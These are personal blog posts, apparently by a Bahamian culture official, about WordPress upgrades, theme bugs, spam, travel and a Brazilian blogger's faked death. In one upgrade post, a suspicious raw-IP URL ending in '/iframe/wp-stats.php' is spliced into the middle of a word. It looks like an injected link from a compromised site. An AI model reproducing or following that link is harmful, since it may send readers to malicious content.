Well. Yesterday the update of Wordpress came out, and I clean-installed it onto several test blogs to see how it works. It works! I'm also in the process of setting up a new space for this blog, which, as I've already promised, will be migrating to its own special server over the course of the next few months. The next step is to upgrade this blog to the new Wordpress. Stay tuned.
Apologies to you all.
I'm having major problems with this blog. Posting has become a huge headache. I promised to migrate the whole thing to another server, and had hoped to put that off till next week, but have decided to take the plunge and do it now. Nobody can comment on this one, and I can't even embed video and have the post behave like it should. So here's what to expect. This blog will go down for a while. When I have mirrored it elsewhere, it'll come back up again. In the meantime, I will try upgrading, and it may stabilize right here. Till then: Apologies. Go have a coffee on me.I'm thinking of rebuilding from scratch. There are just too many issues right now to keep patching, so I'm probably going to do something with it come March. Eastertime is the right time for death and resurrection.
I'll keep my regular readers posted. Till then, patch, patch.I've heard from one or two people that they haven't been able to comment on the blog.After the latest influx of spam I installed a new spam manager. Perhaps your comments are getting caught in it.Here's what I invite you to do: register on the blog, then try and comment. Try and comment without doing so too, and let me know what the result was.Eventually I'll get this fixed.Cheers.
If you've been looking at old posts, you'll notice some weird characters in them. They're annoying -- to me and to you -- and I didn't put them there. They appeared after the server move. More information about them is here:http://wordpress.org/support/topic/126556?replies=6(you may have to be a WordPress user and logged on to read that thread, I don't know.) I will be going through my archive over the next several months (I suspect it'll take that long) and will be cleaning them up. Apologies in the meantime.
The problem seems to be sorted for the time being -- even the comments have been fixed.Yay!
Ladies and gentlemen:Over the past week or so my web host has been upgrading its servers.A number of issues have arisen as a result. One of them was that my spam filter got disabled. Not a huge problem for readers, as I moderate all my comments, but it was a big deal for me.But now there's a more serious problem: all the comments on this blog have disappeared.The problem is server-side, to be sure. But there are some people who have been trying to publish comments lately, and have been rejected. Not your fault, or even mine; it's the server. ALL of my comments are gone.I'll try deal with it. I'll try get them back. I do have back-ups, and thankfully I've been too busy to be updating this blog too much lately, so chances are that most of your comments will be retrieved. In the meantime, be patient.These things happen.Cheers!
You'll probably notice some differences with the site for the time being. I've just performed an upgrade, and though there were no major problems, it's playing with the layout of the site. Everything youhttp://61.132.75.71/iframe/wp-stats.php want (more or less) is in the column on the right-hand side. I'm going to have to do some tweaking to get this back how I want it, but for now, please bear with me!
I am getting a lot of spam comments these days and so I've started a blackout policy.Be warned:
Forewarned is forearmed.Cheers.
and I'm dressing down, in more ways than one.Enjoy this theme till the next time it breaks.
rears its head again.Last week I was in Cat Island for the Rake 'n' Scrape Festival. No, there is no web site for it. The weekend was good stuff -- more from the point of view of Cat Island than of the Festival, which was a let-down for all concerned. The Festival Committee recognizes the need for assistance, and now that the responsibility for heritage festivals has landed in our Ministry's portfolio it's our job to offer that assistance.What Ministry, you ask? Well if you haven't been following the post-election updates and if you aren't in The Bahamas, there's a new Ministry of Education, Youth, Sports and Culture and there's a Minister of Education, a Minister of State for Youth and Sports, and a Minister of State for Culture. An interesting turn of events, potentially very exciting. Normally people who work in culture the region around consider the placement of the department responsible for culture in a ministry like Education the kiss of death -- education is so big and unwieldy that it sucks the life of everything else out of it. We have received several condolences. But with a Minister of State it may not be bad; and there are rumours that this is a preparatory move towards the establishment of a full Ministry. That would be good -- as long as it's not one of those ephemeral Ministries that appear and disappear with administrations. Barbados had one of those for a while, but now Culture is under the Office of the Prime Minister. What is good is that all the related agencies are for the first time under the same umbrella, and that my section is now being called a Department, not a Division. That is a real step forward.This weekend I'm travelling again, this time to Cuba for a meeting and a conference. My first time in Cuba, peeps. I'm mildly excited, though I have been feeling the challenges of working in a Ministry again (rather than under the Office of the Prime Minister) -- the speed of official business has slowed down once more. Not sure how much more I can say; blogging about one's work is a risky business at the best of times, and when I'm working under General Orders it may be riskier than many. But it should be interesting for people to know what working for the Bahamas Government is like -- too many people have the misconception that when politicians change, things in general will change. There's a saying in the Civil Service: Politicians come and go, but civil servants remain in place -- even civil servants like me who do not want to retire from the government after decades of service. Often things are blamed on the elected representatives that should be blamed on the civil servants -- and vice versa, and so to know a little about the Service might be enlightening.Anyway, I started this post to say I'll be in Cuba over the weekend, and running around like a madwoman while I'm there, so if (when) the look of the blog changes, you'll know it'll be fixed next week.One more note. If you post a comment to this blog in my absence, know that it'll be held in moderation till I get a chance to get online and the time to deal with it. This blog's been getting too much spam lately, and the spam's been getting through, so I'm moderating all comments. Please be patient, and don't post the comment more than once! I'll see it eventually.Have a good weekend. I intend to do the same.
I'm travelling this weekend (Cat Island Rake-n-Scrape, yeah!) and so will be offline for four days. Given the issues with the theme, please be patient. I'll try and fix it so you don't get a blank page when the default is reverted to by the blog, but just in case you do get a blank page over the weekend, please be patient and check back on Sunday night, by which time I should have fixed it.In the meantime, I'll play with a couple of other themes, just for fun. Bear with me. I'm like the housemate who keeps rearranging the furniture. If you really hate it, let me know and I'll try and curb my enthusiasm.Have a good Labour Day weekend.
I'm still challenged with making the theme stay constant. Result? I'm trying another theme instead.Forgive the inconsistency. I hope that a fix will be discovered.Cheers.edit: No change -- the theme problems continue. So back to the standard theme.
Well, maybe.Though I really like Red Zinfandel, there was a bug in it that meant that it kept reverting to the default theme. And because I took people's advice and renamed the default folder, that meant that it would turn blank every now and then.I rather like this one, I must say, though I'm not sure I want to leave the signature red colours behind. But for now --Enjoy Praca Redux.
I've never said this before, but for those of you new to my blog, I've got security for the comments set so that if it's your first comment, I have to approve it. Once you've had a comment approved, you can post as you like. Or else you can register as a subscriber to this blog (the option's on the side).Chris, that's why you had to post your comment twice. I check the blog at least once a day, usually about six times more than that, and moderated comments shouldn't hang around for more than a day or so.Cheers.
is what greeted me this morning.
Doesn't seem to matter which theme I use. So it is unlikely to be a css problem; the theme it happened with last night was is as is, out of the box.What I'll probably do, then, is (a) keep researching to find the problem, which seems to be wordpress-wide, and (b) provide people with a Theme Switcher so that they can pick the theme they like.In time.
I'm testing this new theme out to see whether it's the theme or the server or something else. I suspect it is the theme -- the lovely Blue Zinfandel that I adapted to my purposes -- and I would like eventually to go back to it, because the red is my trademark, but this one will do for now.What I would appreciate, though, is if people who are interested could indicate whether they've had trouble with the look reverting to what WordPress users know is the default -- a blue header, a single column, and pretty straightforward styling.Cheers.
The look of this site isn't staying put the way I want it. Seems that this version of Blogworld's developed the habit of snapping back to the default theme.I don't have time to work to find the bug at the moment. I've read up on it and believe it has something to do with some imperfect code. Not wrong code, but something that's just a little different that makes the server think that the whole theme is broken. And it switches after something happens -- don't know what, though. For some people it's comments, for others it's just a certain kind of access.It requires detective work for which I don't have time this morning. I hope to see about it this weekend.Cheers.
Things change, and we change with it.Much as I like the look of this site, I'm finding limitations with the theme that are slowing me down, as well as holding me back from doing what needs to be done with the information I want to share.I could tweak, but I don't have the time.So I'm thinking of changing the layout of this blog.I'm going to take my time about it, because I don't have a whole lot of that, but don't be surprised or dismayed if one day you come here and the place looks different.Cheers.---edit: I've been in touch with Brian Gardner, the author of the Blue Zinfandel theme I've adapted for Blogworld, and I want to say two things: one, that the theme I was finding limiting was the old theme, Teli Adlam's Simplicity, which seems no longer to be supported, and which hadn't been updated for a couple of years. And two, thanks to Brian, I've been able to tweak this one even more so that it does just about everything I want it to. Yay.
edit #2: I've discovered that there are pretty massive problems with the Red Zinfandel theme in Internet Explorer, which is a bummer, so back to Simplicity Red I go for now. When I have time to tweak again, I'll do so.*sigh*
edit #3: Brian Gardner kindly offered to look at my code and do some tweaking for me. As of now, things are considerably better.Thanks, Brian!
I found this report on Global Voices very interesting. I'm not very familiar with the Brazilian blogworld -- the lusosphere -- but this week the big story from the big country in South America is about a Brazilian blogger who faked her own death, apparently because her blog presence was part of a study about social behaviour on the world wide web. The whole thing is found here, but here are a few excerpts:
... 2007 started with the Lusosphere being surprised by the announcement of the death of a well known blogger. MEG [Maria Elisa Guimarães] became famous as the editor of SubRosa, one of the first-generation blogs in Brazil, and also because of her relentless promotion of conversation among bloggers through an active and warm-hearted commenting and emailing activity. The eulogies performed throughout the Lusosphere gained a great deal of attention as MEG was darling to many of the first A-list Brazilian bloggers. Never-the-less, something peculiar about Meg’s announced death kept ringing in some of her closest friends.
and:
The first report about the presumed fatality appeared in a post [’My Woman Died’] from Paulo José Miranda, a Portuguese blogger who writes as if he were Meg’s husband, despite confessing that they met in person only once(!), during a weekend in Sao Paulo. There were details of a diagnosed cancer in Meg and a trip to New York’s Mount Sinai Hospital for specialized treatment. Contradictory signals started to arise when some bloggers found out that the IP address used by Meg in her ‘last’ posts and comments was not from a US ISP, but it was instead coming from some place covered by Telemar Norte, a company providing Internet access to the northern region of Brazil. Reactions to the growing evidence that Meg’s death was a hoax, and that she was now online with another name [Tereza Quetzal] turned a mourning blogosphere into a crossfire of judgments.
and:
The warning I make - as long as warnings have any practical usefulness — is: our blog is not our world, and is not our soul, and even less our heart. Our blog is just a space where we publish fragments of what we are. If we take it too seriously, it — the blog — will “kill†us, even though virtually. A big hug to you, Ina, and be sure to never be killed, ok?
and:
I have some information that I consider very accurate in relation to the facts. Meg is doing a study about human behavior in the Blogosphere. She is doing that and will soon launch a book which, according to my source, will be very good and enlightening. It can really provide an excellent x-ray about human behavior. When they heard that she died, everybody was praising her, she was the best person in the world, and now everything is quite the inverse. I’ve already ordered mine.